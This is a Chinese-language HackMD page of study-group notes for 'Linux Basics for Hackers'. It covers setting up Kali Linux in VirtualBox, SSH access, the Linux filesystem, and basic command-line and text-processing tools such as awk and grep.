# 駭客的 Linux 基礎入門必修課 * :warning: 本書不涉及破解或入侵的內容,請勿抱有錯誤的期待 :joy: * :warning: 若您希望建立堅實的 Linux 基礎,務必掌握前十章的知識 :::info * 🏠[社群活動管理入口](https://hackmd.io/@raspberrypi-taiwan/portal) * 狀態:進行中|[📝活動管理表單](https://docs.google.com/spreadsheets/d/1y0SU5Y_L2oH-zj09IPy3C_UsRPzWfsPQ_G43zOqtc1s/edit?usp=sharing) * 導讀員人數:7 (已達標) * 活動週期:每週二晚上 8:00~9:00(最晚不超過 9:30) ::: ## 目前導讀員 想成為導讀員嗎?請進入編輯模式,然後於下方寫下你的名字。記得看過以下的【README | 請先閱讀】後,自行填寫你的名字在各章節的藍色資訊欄中。您也可以直接看 [Kick-Off Meeting 當天的會議錄影](https://youtu.be/n9_pYhSQwI8)。 ps: 點擊左上方的編輯按鈕,即可進入編輯模式:![Snipaste_2024-10-14_10-54-33](https://hackmd.io/_uploads/ByfEdZc1Jg.png) 0. 往下填寫,語法:`[你的臉書暱稱](https://你的臉書連結頁面)` 1. [Andrew Lin](https://www.facebook.com/andrewintw/) 2. [Darren Lin](https://www.facebook.com/YuRens) 3. [劉昱辰](https://www.facebook.com/profile.php?id=100003033041011) 4. [Mark Tsai](https://www.facebook.com/mark.tsai.357) 5. [曾文治](https://www.facebook.com/pinionax) 6. [ZoeLin](https://www.facebook.com/CJLin0101) 7. [YiRu Wang](https://www.facebook.com/yiru.wang.733) 8. [Sean Ciou](https://www.facebook.com/profile.php?id=100001005675444) ## 🔥【README | 請先閱讀】 :warning: 請先閱讀[讀書會 README](/YXFuIak1QiCYKtJOd0P0gA) ### 📌會議時間 * 會議時間預設是「每週二,晚上 8:00~9:00pm」。 * 如果導讀員遇到連續假日或有特殊需求,時間可以協商調整,保持彈性安排。 ### 📌設備要求 * 使用 [Kali Linux](https://www.kali.org/),並安裝在 [VirtualBox](https://www.virtualbox.org/) 的虛擬環境中。 * 建議設備至少有 4GB 記憶體和 20~25GB 的空間。 ## 🗓️Kick-Off Meeting :::info * 日期/時間:10月 1日 (星期二) · 下午8:00 - 9:00 * 會議記錄:https://youtu.be/n9_pYhSQwI8 ::: * 說明規範(基本上就是上面的各項) * 提點一些輔助技能 * Markdown & [HackMD](https://hackmd.io/) * [HackMD官方使用教學](https://hackmd.io/c/tutorials-tw/) * 白板:[ExcaliDraw](https://excalidraw.com/) * 關於錄製 * Google Meet內建錄影 * [OBS Studio](https://obsproject.com/) * 參考資料 * [伴伴學入口網站](https://hackmd.io/@accomdemy/SJsr63mkt) --- ⬇️⬇️⬇️ 以下是各章節共筆 ⬇️⬇️⬇️         [🌨️](https://drive.google.com/file/d/12VLtKSkqaFbtd7HOW_GhiM08h26_0cSq/view?usp=drive_link)[☃️](https://drive.google.com/file/d/1Gqv2s1TISPbOIeozaZardPdO0OYVxWvJ/view?usp=drive_link)[🏠](https://drive.google.com/file/d/1qTF7KFXblRNt-FRcIvWuBk7Hl2M9Ns62/view?usp=drive_link) NOTE: 下面標題中的 👉 符號會指向目前進度所在的章節,方便大家隨時了解讀書會的進展。為了控制讀書會時間,有時候會合併某些章節在同一次讀書會進行,或是更改進行的順序。 ## 🐧0 序章 :::info * 導讀群:(Andrew) * 日期/時間:10 月 15 日 (星期二) 下午 8:00 - 9:00 (part2) * 會議連結:https://meet.google.com/ndp-pqnz-hnt * 會議記錄: * (part1) https://youtu.be/0fOfmt_tgRI * (part2) https://youtu.be/XU39R46so4U ::: 今日目標:學會在 VirtualBox 上安裝 Linux ### Part 1. 安裝 VirtualBox * [自己去官網下載安裝吧](https://www.virtualbox.org/wiki/Downloads)(下一步~下一步~下一步,打完收工) * 下載並安裝 VirtualBox Platform Packages * 下載「對應版本的」VirtualBox Extension Pack,點兩下就可匯入 VBox * 安裝 VBox 後我會做的設定: 1. 指定自己的 VM 存放資料夾(控制狂必做 XD) ![Snipaste_2024-10-07_18-52-02](https://hackmd.io/_uploads/SyVc6Eb11g.png) 2. 安裝 **VirtualBox Extension Pack** ![Snipaste_2024-10-07_18-56-23](https://hackmd.io/_uploads/ry6_0V-ykg.png) ### Part 2. 安裝 Kali Linux * 導覽 https://www.kali.org/get-kali * 官方提供的幾種安裝方式 * ![Snipaste_2024-10-07_19-24-44](https://hackmd.io/_uploads/HkSfSHbykl.png) * Installer * [kali-linux-2024.3-installer-amd64.iso](https://cdimage.kali.org/kali-2024.3/kali-linux-2024.3-installer-amd64.iso) * ![Snipaste_2024-10-08_16-20-48](https://hackmd.io/_uploads/BkUY6vzkyg.png) * ![Snipaste_2024-10-08_16-30-06](https://hackmd.io/_uploads/r1ekAvfkJx.png) * ![Snipaste_2024-10-08_16-30-17](https://hackmd.io/_uploads/B1YQRwGyye.png) * Pre-built VMs * [kali-linux-2024.3-vmware-amd64.7z](https://cdimage.kali.org/kali-2024.3/kali-linux-2024.3-vmware-amd64.7z) * [kali-linux-2024.3-virtualbox-amd64.7z](https://cdimage.kali.org/kali-2024.3/kali-linux-2024.3-virtualbox-amd64.7z) * [kali-linux-2024.3-hyperv-amd64.7z](https://cdimage.kali.org/kali-2024.3/kali-linux-2024.3-hyperv-amd64.7z) * These images have the default credentials `kali/kali`. * 其他資源 * [Kali inside VirtualBox (Guest VM)](https://www.kali.org/docs/virtualization/install-virtualbox-guest-vm/) * [Linux VM Images](https://www.linuxvmimages.com/) ### Part 3. 安裝完 VM 後的設定 * VirtualBox Extension Pack(前面已經做完了) * Install **Guest Additions** * [Installing VirtualBox Guest Addition (Guest Tools)](https://www.kali.org/docs/virtualization/install-virtualbox-guest-additions/) (騙人啦,沒用) 1. 先移除系統預裝的 ``` sudo apt remove virtualbox-guest-x11 virtualbox-guest-utils ``` 2. 使用 VBox 的 CD image 安裝 ![Snipaste_2024-10-07_21-23-29](https://hackmd.io/_uploads/ryO9aDWkJg.png) ![Snipaste_2024-10-07_21-57-28](https://hackmd.io/_uploads/Hy-opv-kkx.png) * :warning: [Kali Linux 2020.4 switches the default shell from Bash to ZSH](https://www.kali.org/blog/kali-linux-2020-4-release/#zsh-shell-by-default) * 「Linux Basics for Hackers」原書於 2019 年出版,當時的預設 shell 是 bash * Kali Linux 從 2020.4 版以後,已經將預設的 shell 從 bash 改為 zsh * > [name=Andrew] 是否需要為了後續課程進行順利,切換預設的 SHELL 為 Bash?還是給它繼續衝下去,看看 zsh 和 bash 可以相容到甚麼程度? * VirtualBox Snapshot(善用快照功能) * ![Snipaste_2024-10-14_10-08-22](https://hackmd.io/_uploads/SJo7pg5kkx.png) ### Part 4. VM 軟體最令人頭痛的事情 -- 網路設定 * VBox 的常見網路設定 * Bridge (先用這個吧) * Try: 現在立刻檢查你的手機和電腦的 IP * Windows 查 ip 指令: `ipconfig` * MacOS、Linux 查 ip 指令: `ifconfig` * ![](https://hackmd.io/_uploads/SJbh5SW1kg.png) * Guest VM 的 IP 和 Host 是由同一個 DHCP 伺服器分配的 * 這意味著 Guest VM 和 Host 將位於同一個 LAN - "同網段" * NAT * VirtualBox 預設的配置方式 * 你家的路由器功能 * ![](https://hackmd.io/_uploads/Bkm13l91yg.png) * "Network Address Translation" * Translation for WHAT? 內網 & 外網 * 網路隔離的概念 ### Part 5. 我裝好了,該怎麼使用它? * 直接透過視窗環境(Xfce)使用 * 使用遠端連線操作終端機(關門!學會了才准走!) ### SSH * Connection Requirements * ip address * port (default: 22) * username & password | key-pairs * Client Tools * :+1: **[XShell](https://www.netsarang.com/en/xshell/)** or [~~SecureCRT~~](https://www.vandyke.com/products/securecrt/) * :+1: [**MobaXterm**](https://mobaxterm.mobatek.net/) * [PuTTY](https://www.putty.org/) * VSCode with [Remote-SSH extension](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-ssh) * 另一件很小的大事 - 字型! * > [name=Andrew] * 推薦 Consolas、DejaVu Sans Mono * 能夠辨識 `1iIl`、`0oO`、`9g` ### Host & Target * `[Host: PC]======={USB/UART}===========[Target: Arduino]` * `[Host: Laptop]==={ethernet, TCP/IP}===[Target: Raspberry Pi]` * `[Host: Laptop]==={ethernet, TCP/IP}===[Target: Kali-Linux "in VM"]` ### Port Forwarding * Why? Port Forwarding 嘗試解決什麼問題? * 設定範例: * ![](https://hackmd.io/_uploads/H1LUMWck1l.png) * host 端 ssh 至 `127.0.0.1` port `8822` ### Distro * [DistroWatch](https://distrowatch.com/) * [The Linux Tier List](https://www.youtube.com/watch?v=KyADkmRVe0U) (YT: Chris Titus Tech) ### 這樣就想走?來唷~回家作業 1. 安裝 VirtualBox 以及 VirtualBox Extension Pack 2. 將 Kali Linux 安裝於 Virtual Box 上 - 使用 iso image 的方式從頭安裝,或是使用匯入 Pre-built VM image 的方式安裝都可(二選一) 3. 確定你的 VM 環境啟用了這些設定 - 使用 Bridge 網路模式 - 設定一個與 host 端可共享的資料夾 4. 在 host 端使用 ssh client tool 遠端連線到你的 Kali VM 環境 - 你需要知道 Kali 的 ip address、username、password,以及 ssh 連線的通訊埠(預設是 22) > [name=Vian] 查看 ip 指令: `ifconfig` > 若 ssh 連線 kali linux 遇到 `network error connection refused` 主要原因通常是因為 Kali VM 沒有啟動 ssh server 導致 > 確認 ssh server 狀態指令: `sudo service ssh status` 5. 試試看將網路切換為 NAT 並設定好 Port Forwarding。然後從你的 host 進行 ssh 連線測試 6. (可選) - 去 [DistroWatch](https://distrowatch.com/) 看看排名,嘗試去 [LinuxVMImages](https://www.linuxvmimages.com/) 找一個 Linux VM 在 VirtualBox 裝看看自己喜不喜歡。 - 看看 [The Linux Tier List](https://www.youtube.com/watch?v=KyADkmRVe0U),你認同嗎? NOTE: 你至少需要完成 1~4,這樣下次你才有環境可以使用。 ## 🐧1 從基礎開始 :::info * 導讀群:Darren, Andrew * 日期/時間:(part3) 11 月 12 日 (星期二) 下午 8:00 - 9:00 (前半) * 會議連結:https://meet.google.com/mex-qmnx-qvw * 會議記錄: * (part1) https://youtu.be/NLdDVDwxlzI * (part2) https://youtu.be/5PjRu4hPYCo * (part3) https://youtu.be/bfHEB2XqiPw ::: ### Linux File System > [name=Andrew] 我可以負責簡介這一小節 * [檔案系統階層標準(Filesystem Hierarchy Standard,FHS)](https://zh.wikipedia.org/zh-tw/%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F%E5%B1%82%E6%AC%A1%E7%BB%93%E6%9E%84%E6%A0%87%E5%87%86) * `/bin`, `/sbin`, `/lib` vs `/usr/{bin,sbin,lib}` * `which mv` & `dpkg -S /usr/bin/mv` * `dpkg -L logrotate` * `/usr/local/{bin,sbin,lib}` * `/mnt` vs `/media` * `/var/{log,spool}` * `/run` vs `/var/run` * `/opt/<application_name>` * `/proc` vs `/sys` > [name=ChatGPT] 以下是常見的 Linux 目錄及其在 Windows 系統中的對應目錄對比列表。儘管 Linux 和 Windows 是不同的操作系統,它們的文件系統結構不完全一致,但可以根據功能和使用場景來類比: | **Linux 目錄** | **Windows 目錄** | **用途** | |------------------------|-------------------------------------|------------------------------------------------| | `/` (根目錄) | `C:\` (系統盤根目錄) | 文件系統的根目錄,包含所有文件和目錄 | | `/bin` | `C:\Windows\System32` | 基本二進制可執行文件(如常用命令),Windows 的系統工具 | | `/sbin` | `C:\Windows\System32` | 系統管理員專用的二進制可執行文件 | | `/usr/bin` | `C:\Program Files` | 用戶級應用程式的二進制可執行文件 | | `/usr/sbin` | `C:\Windows\System32` | 系統級工具或管理員工具 | | `/usr/local/bin` | `C:\Program Files` 或 `C:\Program Files (x86)` | 用戶自行安裝的應用程式的二進制可執行文件 | | `/usr/local/sbin` | 無直接對應 | 用戶自行安裝的系統管理員工具 | | `/lib` 或 `/lib64` | `C:\Windows\System32` | 系統庫文件(動態鏈接庫),類似於 Windows 的 `.dll` 文件 | | `/etc` | 無直接對應 | 系統配置文件 | | `/home` | `C:\Users\` | 用戶的主目錄,保存個人數據和配置文件 | | `/root` | `C:\Users\Administrator` | 系統管理員(root 用戶)的主目錄 | | `/var` | `C:\ProgramData` | 可變數據目錄,如日誌、暫存文件 | | `/tmp` | `C:\Windows\Temp` | 暫存文件目錄 | | `/dev` | 無直接對應 | 設備文件目錄 | | `/mnt` 或 `/media` | 光碟機、隨身碟或其他驅動器 | 掛載的外部存儲設備 | ### 啟用 SSH Kali 安裝後,預設是沒有啟用 SSH 服務的。操作 SSH 連線需先啟動 SSH 服務,在 VM 中開啟 Terminal ```bash ┌──(kali㉿kali)-[~] └─$ sudo service ssh start [sudo] password for kali: (輸入你的密碼) ``` 上面的指令只是啟用,啟用後就可以連線了。但如果希望每次開機後都自動啟用,得執行: ```bash ┌──(kali㉿kali)-[~] └─$ sudo systemctl enable ssh Synchronizing state of ssh.service with SysV service script with /usr/lib/systemd/systemd-sysv-install. Executing: /usr/lib/systemd/systemd-sysv-install enable ssh ``` NOTE: 可使用 `systemctl status ssh` 確認狀態。 SSH 連線時會需要知道 IP。如何取得 VM 的 ip 資訊: ```bash ┌──(kali㉿kali)-[~] └─$ ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.22.128 netmask 255.255.255.0 broadcast 192.168.22.255 inet6 fe80::487:b16a:1c56:756f prefixlen 64 scopeid 0x20<link> ether 00:0c:29:7c:b9:84 txqueuelen 1000 (Ethernet) RX packets 144 bytes 15448 (15.0 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 106 bytes 17600 (17.1 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 ``` 以 SSH 自 VM 外部連線 ```bash ssh kali@192.168.22.128 ``` ![image](https://hackmd.io/_uploads/r1ULUH90C.png) ### 補充 * [x] Linux 的指令結構(指令與參數) * [x] `PATH` 的概念 ### Linux 基本指令 * `pwd`:查看當前目錄,linux的終端機介面不一定預設顯示所有工作目錄,並且可能有不同的權限,pwd能夠協助確認目前所在的目錄位址。 ```bash ┌──(kali㉿kali)-[/opt/microsoft/powershell] └─$ pwd /opt/microsoft/powershell ``` >[name=Darren]:此版kali linux貼心設計會把除了home目錄(~)與系統根目錄(/)以外的路徑顯示出來。 * `whoami`:確認登入身份,不同帳號可以設定不同的權限控管,如果忘記自己用什麼帳號登入,或者改以其他個人帳號登入,whoami指令會顯示目前登入的帳號名稱。 > [name=Darren]:同上,此版kali linux貼心設計會把目前登錄帳號顯示出來,有效協助辨識。 * linux權限最高為超級用戶root * 一般預設不會讓使用者用root登入系統,在執行需要權限的指令時使用`sudo cmd`指令 * 要臨時切換root身份時使用`su`指令並輸入root密碼。 * `ls`:列出目錄內容,類似Windows的`dir`指令,可以搭配指定目錄路徑顯示該目錄內容,例如`ls /usr`、`ls ~`(直接顯示自己的home目錄) * 常用參數: * `ls -a`:列出隱藏檔(以`.`開頭的檔案如`.bashrc`) * `ls -l`:以表列出每個檔案,可以看到權限、所有者、大小、異動日期與時間等 * `ls -la`:列出詳細列表含隱藏檔 * `cd`:切換目錄使用。每個使用者會有自己的home目錄,路徑會是`/home/user_id`,如`/home/kali`。 * 可以使用`cd /`快速切換到系統的根目錄中 * 也可以使用`cd ~`快速切換回使用者的home目,`cd` 及 `cd /home/user_id` 亦有相同功能 * `cd -` 快速回到上一次使用的目錄 * 取得幫助 * `cmd --help` or `cmd -h`:使用 `指令 -h` 或 `指令 --help`可以取得快速說明(有時候`-h`會無效或是被指定為其他功能,這時候可以嘗試`--help`) * `man cmd`:查看特定指令的操作手冊,例如`man ifconfig`手冊共有八頁,可以用`enter`或`Page Up`/`Page Down`翻頁查閱,按`h`可以看`man`模式中的快速操作指令,按`q`離開。 * man page sections * ‵man sleep` 查看sleep指令的手冊 * `man 3 sleep` Linux中的手冊頁分為幾個部分,使用編碼可以調用該部分手冊頁,這個指令可以查看sleep指令的庫函數 1:用戶命令 2:系統調用 3:庫函數 5:文件格式 8:系統管理命令 ![image](https://hackmd.io/_uploads/Hyu_QzHxJx.png) * man page 操作 * `/(KEYWORD)`向後尋找關鍵字;`?(KEYWORD)`向前尋找關鍵字 * N, n * G, g ### 找到目標檔案 * `locate`:找到所有符合關鍵字的檔案/資料夾,如`locate ifconfig`,但是有時候符合的資訊太多就會... 大家可以嘗試`locate aircrack-ng`。 * `whereis`:只尋找關鍵字的手冊頁以及二進位檔(含可執行檔),如`whereis aircrack-ng`,結果列出了`/usr/bin/aircrack-ng`、`/usr/include/aircrack-ng`以及`/usr/share/man/man1/aircrack-ng.1.gz`。 * `which`:比whereis更加精確,僅搜尋目錄PATH變數中的二進位檔,也就是執行指令時系統使用的路徑,例如`which aircrack-ng`會得到`/usr/bin/aircrack-ng`,通常PATH變數目錄一般有`/usr/bin`、`/usr/sbin`等。 * **`find`**:相對`locate`, `whereis`, `which`更加靈活的搜尋指令。可以指定搜尋的目錄、檔案名稱、建立/修改時間、擁有者、權限等等,精確且靈活。基本語法為:`find 指定目錄 指定條件 指定表達`,例如`find / -type f -name apache2` * 過濾 * `pipeline`:管道處理,使用符號"|"(按住shift+enter上的那一顆"|"),允許將一個命令的輸出直接傳遞給另一個命令作為輸入,這使得你可以串聯多個命令來處理數據,從而提高工作效率。通常會使用`cmd2 | cmd2`的形式。 * `grep`:從先前的資料中過濾出指定的字元,通常會搭配(|)來使用。 * 範例 * `ls -l | grep "txt"`:列出當前目錄下所有文件的詳細資訊,並且(|)只顯示包含 "txt" 的行。 * `cat file.txt | wc -l`:將 `file.txt` 的內容輸出並計算行數。 * `ps aux | grep "python" | sort`:查找所有運行的進程中包含 "python" 的行,並按字母排序。 * 多重管道 * `cat file.txt | grep "error" | sort | uniq -c | sort -nr`:先讀取 file.txt,過濾出包含 "error" 的行,然後對結果進行排序,計算每個唯一行的出現次數,最後按出現次數降序排列。 ### 補充 * man page sections * auto-completion (按tab),自動完成指令 * `history` (按上下),顯示歷史指令 ### 建立與修改檔案和目錄 * `cat`:顯示檔案中的文字,如`cat` .dmrc * `touch`:新增檔案,如`touch 123` 即可新增名為123的檔案 * `mkdir`:建立目錄,如`mkdir happy`,就會建立名稱為happy的資料夾 * `cp` * `mv`:移動檔案,使用`mv A B(pathway)`,將A移動到路徑B/下(需有權限) * `rm`:刪除檔案 * `rmdir`:刪除目錄,通常只能刪除空目錄,如果要連目錄中的檔案一起刪除需要加上`-r`參數 詳細用法請在指令後方加上 `--help` ## 🐧2 文字處理 :::info * 導讀群:([劉昱辰](https://www.facebook.com/profile.php?id=100003033041011)) * 日期/時間:11 月 19 日 (星期二) 下午 8:00 - 9:00 (後半) * 會議連結:https://meet.google.com/mex-qmnx-qvw * 會議記錄: * (part1) https://youtu.be/bfHEB2XqiPw * (part2) https://youtu.be/VzGD3rKQv2o ::: ### echo * echo:顧名思義,其功能就是**回傳輸入的來源**,如下圖... ![image](https://hackmd.io/_uploads/r11M1URZJx.png) 不過,這樣就會多了一個空白行,若我們在某些場合很注重**原始輸入=原始輸出**,就必須將其去除。 我們輸入`help echo`,藉此查詢echo的其他微調方式 ![image](https://hackmd.io/_uploads/SkLlkIAbyl.png) `Option`共有三個,看來第一個`-n`(不附加新行)就是我們所想要的。 Cheer! ![image](https://hackmd.io/_uploads/Hk8gxI0-yl.png) 順便提到**interprets**,中文名為「跳脫字元」,其實我們按倒退鍵(Backspace)也是輸入一個「跳脫字元」喔! 系統讀取到跳脫字元時,會執行特別的動作,介紹幾個常見的: `Backspace (\b)`:刪除一個字元 `Enter (\n)`:換行,基於[歷史因素](https://ghost831105.medium.com/%E7%A8%8B%E5%BC%8F%E5%AD%B8%E7%BF%92%E6%97%A5%E8%AA%8C-r-n-v-s-n-%E5%86%B7%E7%9F%A5%E8%AD%98-14ac079d45f8#:~:text=B-,%E6%BC%94%E8%AE%8A%E6%AD%B7%E5%8F%B2,-%E9%80%99%E5%80%8B%E6%98%AF%E4%BB%A5%E5%89%8D),Windows會在`\n`前方加上一個**回車**`\r`,即`\r\n` `Tab (\t)`:製表,在Word...對齊每段文字開頭,在程式IDE...增加縮排 `backslash (\)`:反斜線,因為系統讀取到反斜線時,會執行反斜線下一字元對應的特別動作。當我們想要顯示反斜線本人時,就需要打兩次反斜線,這也算是一種無可避免的技術債吧...。 馬上來活用一下`echo`,只使用單行文字,寫出多行的信! `echo -e -n "Hi:\n\tThis is Linux kali \\^o^/.\nBest regards,\nKali."` ![image](https://hackmd.io/_uploads/BylmSLCbkg.png) Note: 普通的斜線不須再加上反斜線。 最後,輸出這封信到`letter.txt`,方便接下來使用。 ![image](https://hackmd.io/_uploads/SkofvLC-Jl.png) ### cat * cat:很可愛的名字,就像貓眼似乎能洞窺一切,這指令的功用是**輸出檔案內容**。 按照慣例,輸入`cat help`查詢其功能 ![image](https://hackmd.io/_uploads/SkIJuLRbJl.png) `-A`:把所有字元可視化,等同於`-vET`,就是把**跳脫字元**打回原形! 我們趕緊拿剛剛的`letter.txt`開刀,輸入`cat -A letter.txt` ![image](https://hackmd.io/_uploads/S1KZ9LRWJx.png) 我們發現 換行`\n` -> `$` 製表`\t` -> `^I` ([為什麼是^I?](https://zh.wikipedia.org/zh-tw/ASCII#:~:text=0000%C2%A01001,%E6%B0%B4%E5%B9%B3%E5%AE%9A%E4%BD%8D%E7%AC%A6%E8%99%9F)) 反斜線還是反斜線XD。 這裡順便補充一個小知識,可以不用實作, `echo`那邊提到換行`\n`在Windows下會在開頭附加**回車**`\r`,我們來看看`Windows`跟`Linux`下,換行的差異。 首先,反白並`Ctrl+C`複製`letter.txt`所有內容 ![image](https://hackmd.io/_uploads/rk9OnUC-1e.png) 回到Windows,新增`letter_windows.txt`文字文件,貼上`letter.txt`的內容並儲存 ![image](https://hackmd.io/_uploads/H12Sn80-Jx.png) 然後將`letter_windows.txt`拖曳進Kali,並輸入 `cat -A letter_windows.txt` ![image](https://hackmd.io/_uploads/BkH5p80Zkg.png) 那尼?! 多了`^M`(**回車**`\r`),這是因為Windows的換行操作必須要相容老舊系統,所以才會多出這個`\r`。 雖然Windows和Linux都可以正確處理彼此的換行操作,但日後遇到某些奇異的bug時,可以將此納入考量之一喔! ### head * head:可以輸出檔案的**部份開頭** 首先,為了展示範例檔案,請**完全**複製以下區塊,並貼上到Kali裡執行: ``` echo -n "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla egestas ut diam et rhoncus. Donec tincidunt urna eu euismod vestibulum. Aenean mattis turpis ac posuere mollis. Ut sagittis, augue ut consequat pulvinar, ante dui imperdiet ipsum, ut rhoncus lorem risus at velit. In varius, purus et sodales hendrerit, sem mauris auctor dui, sed porta nunc leo vel felis. Fusce justo arcu, pulvinar nec ornare et, egestas nec tellus. Maecenas sit amet posuere arcu. Proin congue blandit diam, in rhoncus neque blandit ac. Vestibulum eget nunc enim. Vestibulum eget luctus sapien, nec mollis neque. Ut quis eleifend metus. In cursus nisi lorem, eget scelerisque lacus tempor quis. Fusce lacinia congue erat, in sagittis mi blandit ut. Nam nisi ex, pellentesque at nulla non, consequat iaculis nunc. Fusce pretium tellus mauris, eu cursus augue cursus in. - -> EOF text." > fake1.txt echo -n "Nullam dui purus, semper in eleifend eget, laoreet tempus velit. Donec turpis ante, facilisis vitae tellus nec, consectetur finibus dolor. Cras quis ex mauris. Cras non tellus ac arcu congue sodales quis eget urna. Donec in mattis nisl. Donec a posuere tellus, eget efficitur ante. Ut finibus vestibulum efficitur. Aliquam semper arcu elementum lobortis congue. Donec purus nisi, malesuada vitae finibus id, faucibus ut nulla. Curabitur pharetra sem turpis, in semper metus ullamcorper elementum. Nunc rhoncus elit in felis finibus laoreet. Aliquam malesuada enim sed augue scelerisque viverra. Fusce elit tellus, interdum id tincidunt a, placerat a arcu. Sed imperdiet ante ac purus suscipit aliquam. Cras at sem ac massa elementum aliquet. Pellentesque suscipit, purus non dignissim gravida, ligula quam finibus dui, a consequat ligula ligula nec augue. - -> EOF text." > fake2.txt ``` 其實`head`指令非常陽春但強大,使用`-n`參數控制輸出行數,像是輸出`fake1.txt`的前4行: `head -n 4 fake1.txt` ![image](https://hackmd.io/_uploads/B1AuwDRbkx.png) 或是輸出`fake1.txt`和`fake2.txt`前4行,並加上檔名: `head -n 4 fake1.txt fake2.txt` ![image](https://hackmd.io/_uploads/rJmrdPRZkl.png) ### tail * tail:可以輸出檔案的**部份結尾** 就跟head是孿生兄弟一樣,反而是輸出尾部: `tail -n 4 fake1.txt fake2.txt` ![image](https://hackmd.io/_uploads/rkx3OPA-1e.png) ### nl * nl:加上行號。直接用,來看看有什麼功能:`nl fake1.txt` ![image](https://hackmd.io/_uploads/S1rlSlJMkl.png) 看來會加上行號(number-line),不過,行號的左右邊都有空白,身為工程師的我們,必定有要微調他們的時機! 透過`nl --help`,我列出些比較常用的參數 `-n`:可以讓行號向左/右對齊,和前方補0 `-w`:設定行號預留字數,若行號位數小於預留字數,補空白 `-s`:設定`行號`和`檔案內容`之間的字元,用於分隔。 像是我想把行號左邊的空白去掉,那就加上`-w 1`這個參數(暴力通解): `nl -w 1 fake1.txt` ![image](https://hackmd.io/_uploads/Sy-WtlkGJl.png) 補充:原本是向右對齊,但現在發現行號向左對齊... 這邊補充個解法,讓預留字數`-w`的參數就會變成最後一個行數的字元長度,指令變成: `nl -w $(awk 'END {print length(NR)}' fake1.txt) fake1.txt` ![image](https://hackmd.io/_uploads/rkGWHGkzJg.png) 不過就會變得很複雜啦@@,若想能用就好,暴力通解已達目標,但能力所及的話還是記起來吧!下一個指令就會敘述`awk`。 接下來就是設定`行號`和`檔案內容`之間的字元,使用`-s`想改什麼都可以! ![image](https://hackmd.io/_uploads/rJHmDfJGkg.png) ### awk * awk:與其說是一個指令,更好的說法是**程式語言**! 既然它是程式語言,那我們就可以在參數裡**撰寫程式**,awk格式如下: `awk [Options] [Program] [file ...]` 那我們又基於`[Program]`,分成: `開始`-> `[BEGIN Program]` `執行中` -> `[Action Program]` `結束`-> `[END Program]` 接著,為了生成範例檔案,我們把以下指令複製並貼至Kali裡: ``` echo -n "Alice,23,Developer Bob,30,Designer Charlie,25,Manager" > data.txt ``` 接著,我們先輸入這串指令,看看輸出結果: `awk '{print $0}' data.txt` ![image](https://hackmd.io/_uploads/SJwpRXJGyl.png) 看起來就是原始輸入(並附加一空白行),若我們想將`,`換成其他的分隔字元呢? 首先講起`[Option]`,透過`awk --help`,我們只能看到`-f`,`-F`,`-v`這三個`Option`,比較常用的是`-F`,可以使用字元分割該行。 試試將 ``` Alice,23,Developer Bob,30,Designer Charlie,25,Manager ``` 變成 ``` Alice;23;Developer Bob;30;Designer Charlie;25;Manager ``` 我們試著將`,`作為分割字元: `awk -F ',' '{print $0}' data.txt` ![image](https://hackmd.io/_uploads/B1c5N4JzJe.png) 冏...我加了指令,但依舊沒有變化!原因出自`$0`上: `$0` -> 代表一整行 `$1` -> 代表透過`-F`分割出的第一個元素 `$n` -> 以`$1`類推 所以,我相信正確功能的指令是... `awk -F ',' '{print $1;$2;$3}' data.txt` ![image](https://hackmd.io/_uploads/r1JYrE1fyx.png) 啊?不對啊這個...我當時被`bash` 弄到`abash`了XD 這次的bug是`;`,寫過C/C++的讀者們都知道,這是`結束語句`的符號,為了避免`awk`識別它成特殊意義,我們將`;`用`"`包裹起來: `awk -F ',' '{print $1";"$2";"$3}' data.txt` Cheer!(悲) ![image](https://hackmd.io/_uploads/Bk2TL41G1g.png) 再來一個範例,透過`awk`呼叫C/C++的`printf`,可以使用`格式化字串`功能: `awk -F ',' '{printf("Name: %s, Age: %s, Job: %s\n", $1, $2, $3)}' data.txt` ![image](https://hackmd.io/_uploads/SkTj54JGkg.png) 最後,我們實作個**簡單的**開始與結束呼叫功能: `awk -F ',' '{printf("Name: %s, Age: %s, Job: %s\n", $1, $2, $3)}' data.txt` ![image](https://hackmd.io/_uploads/SJBFsNkG1l.png) NOTE:以上只是非常非常陽春的介紹,實際上`awk`還有很多很有用的實用功能 ### grep * grep:尋找,不過可以使用`Regular Expression`,非常強大 首先,生成範例檔案: ``` echo -n "0989898596 0989297020 0989052099 8860989214453 +8860989774985 (+886)0989393001" > phone.txt echo -n "onedrive@microsoft.com google@gmail.com yahoo@yahoo.com.tw host@outlook.com" > mail.txt ``` 做個陽春的手機號碼格式檢測,直接使用`grep`搜尋含有`09`的字串,會將符合的搜尋結果以紅色標示: `grep '09' mail.txt` ![image](https://hackmd.io/_uploads/Sy9shDezJx.png) 實際上,需要該字串全部標成紅色(全部符合)才算通過格式檢測,必須要多加上一些特殊符號。 `^`:表示以右邊的字元當作字串開頭 `^09` 符合開頭為`09`的字串,如: `0912345678`、`09`、`09abc` 輸入`grep -E "^09" phone.txt`的結果: ![image](https://hackmd.io/_uploads/rJBPqDlzyg.png) 發現有886國際碼的電話號碼不見了?!但我們先做好後8碼的格式檢測: `[]`:字元集(?),就像邏輯OR一樣,在裡面的字元都符合 `x{m,n}`:`x`字元最少可以出現m次,最多出現n次,在範圍次數外即不符合 ![image](https://hackmd.io/_uploads/B1LjsPgG1x.png) 看來三個號碼都全紅了,代表通過檢測。 接著來看國際碼`+886`和`(+886)`,但我們知道國際碼**可加可不加,但只能出現一次**: 所以,我們先檢測`+`(他是跳脫字元,要打回原形)有出現最多一次的字串: ![image](https://hackmd.io/_uploads/HyJ8avlzyx.png) 再來是國際碼,我們只取`886`三碼,先不支援其它的國際碼(硬編碼XD): ![image](https://hackmd.io/_uploads/ry2ECPgMJe.png) 最後是括號(也是跳脫字元),一樣各最多出現一次: 